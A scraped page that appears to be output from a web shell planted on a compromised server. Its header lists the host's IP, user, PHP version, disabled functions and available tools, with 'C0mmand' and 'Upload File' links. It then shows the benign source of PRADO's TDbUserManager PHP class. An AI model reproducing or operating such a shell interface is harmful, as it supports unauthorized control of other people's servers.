|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web/assets/../prado4.3.2/Web/../Security/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* TDbUserManager class
*
* @author Qiang Xue <qiang.xue@gmail.com>
* @link https://github.com/pradosoft/prado
* @license https://github.com/pradosoft/prado/blob/master/LICENSE
*/
namespace Prado\Security;
use Prado\Data\TDataSourceConfig;
use Prado\Exceptions\TConfigurationException;
use Prado\Exceptions\TInvalidDataTypeException;
use Prado\Prado;
use Prado\Util\IDbModule;
/**
* TDbUserManager class
*
* TDbUserManager manages user accounts that are stored in a database.
* TDbUserManager is mainly designed to be used together with {@link TAuthManager}
* which manages how users are authenticated and authorized in a Prado application.
*
* To use TDbUserManager together with TAuthManager, configure them in
* the application configuration like following:
* <code>
* <module id="db"
* class="Prado\Data\TDataSourceConfig" ..../>
* <module id="users"
* class="Prado\Security\TDbUserManager"
* UserClass="Path\To\MyUserClass"
* ConnectionID="db" />
* <module id="auth"
* class="Prado\Security\TAuthManager"
* UserManager="users" LoginPage="Path\To\LoginPage" />
* </code>
*
* In the above, {@link setUserClass UserClass} specifies what class will be used
* to create user instance. The class must extend from {@link TDbUser}.
* {@link setConnectionID ConnectionID} refers to the ID of a {@link TDataSourceConfig} module
* which specifies how to establish database connection to retrieve user information.
*
* @author Qiang Xue <qiang.xue@gmail.com>
* @since 3.1.0
*/
class TDbUserManager extends \Prado\TModule implements IUserManager, IDbModule
{
private $_connID = '';
private $_conn;
private $_guestName = 'Guest';
private $_userClass = '';
private $_userFactory;
/**
* Initializes.
* @param array|\Prado\Xml\TXmlElement $config module configuration
*/
public function init($config)
{
if ($this->_userClass === '') {
throw new TConfigurationException('dbusermanager_userclass_required');
}
$this->_userFactory = Prado::createComponent($this->_userClass, $this);
if (!($this->_userFactory instanceof TDbUser)) {
throw new TInvalidDataTypeException('dbusermanager_userclass_invalid', $this->_userClass);
}
parent::init($config);
}
/**
* @return string the user class name in namespace format. Defaults to empty string, meaning not set.
*/
public function getUserClass()
{
return $this->_userClass;
}
/**
* @param string $value the user class name in namespace format. The user class must extend from {@link TDbUser}.
*/
public function setUserClass($value)
{
$this->_userClass = $value;
}
/**
* @return string guest name, defaults to 'Guest'
*/
public function getGuestName()
{
return $this->_guestName;
}
/**
* @param string $value name to be used for guest users.
*/
public function setGuestName($value)
{
$this->_guestName = $value;
}
/**
* Validates if the username and password are correct.
* @param string $username user name
* @param string $password password
* @return bool true if validation is successful, false otherwise.
*/
public function validateUser($username, $password)
{
return $this->_userFactory->validateUser($username, $password);
}
/**
* Returns a user instance given the user name.
* @param null|string $username user name, null if it is a guest.
* @return TUser the user instance, null if the specified username is not in the user database.
*/
public function getUser($username = null)
{
if ($username === null) {
$user = Prado::createComponent($this->_userClass, $this);
$user->setIsGuest(true);
return $user;
} else {
return $this->_userFactory->createUser($username);
}
}
/**
* @return string the ID of a TDataSourceConfig module. Defaults to empty string, meaning not set.
*/
public function getConnectionID()
{
return $this->_connID;
}
/**
* Sets the ID of a TDataSourceConfig module.
* The datasource module will be used to establish the DB connection
* that will be used by the user manager.
* @param string $value module ID.
*/
public function setConnectionID($value)
{
$this->_connID = $value;
}
/**
* @return \Prado\Data\TDbConnection the database connection that may be used to retrieve user data.
*/
public function getDbConnection()
{
if ($this->_conn === null) {
$this->_conn = $this->createDbConnection($this->_connID);
$this->_conn->setActive(true);
}
return $this->_conn;
}
/**
* Creates the DB connection.
* @param string $connectionID the module ID for TDataSourceConfig
* @throws TConfigurationException if module ID is invalid or empty
* @return \Prado\Data\TDbConnection the created DB connection
*/
protected function createDbConnection($connectionID)
{
if ($connectionID !== '') {
$conn = $this->getApplication()->getModule($connectionID);
if ($conn instanceof TDataSourceConfig) {
return $conn->getDbConnection();
} else {
throw new TConfigurationException('dbusermanager_connectionid_invalid', $connectionID);
}
} else {
throw new TConfigurationException('dbusermanager_connectionid_required');
}
}
/**
* Returns a user instance according to auth data stored in a cookie.
* @param \Prado\Web\THttpCookie $cookie the cookie storing user authentication information
* @return TDbUser the user instance generated based on the cookie auth data, null if the cookie does not have valid auth data.
* @since 3.1.1
*/
public function getUserFromCookie($cookie)
{
return $this->_userFactory->createUserFromCookie($cookie);
}
/**
* Saves user auth data into a cookie.
* @param \Prado\Web\THttpCookie $cookie the cookie to receive the user auth data.
* @since 3.1.1
*/
public function saveUserToCookie($cookie)
{
$user = $this->getApplication()->getUser();
if ($user instanceof TDbUser) {
$user->saveUserToCookie($cookie);
}
}
}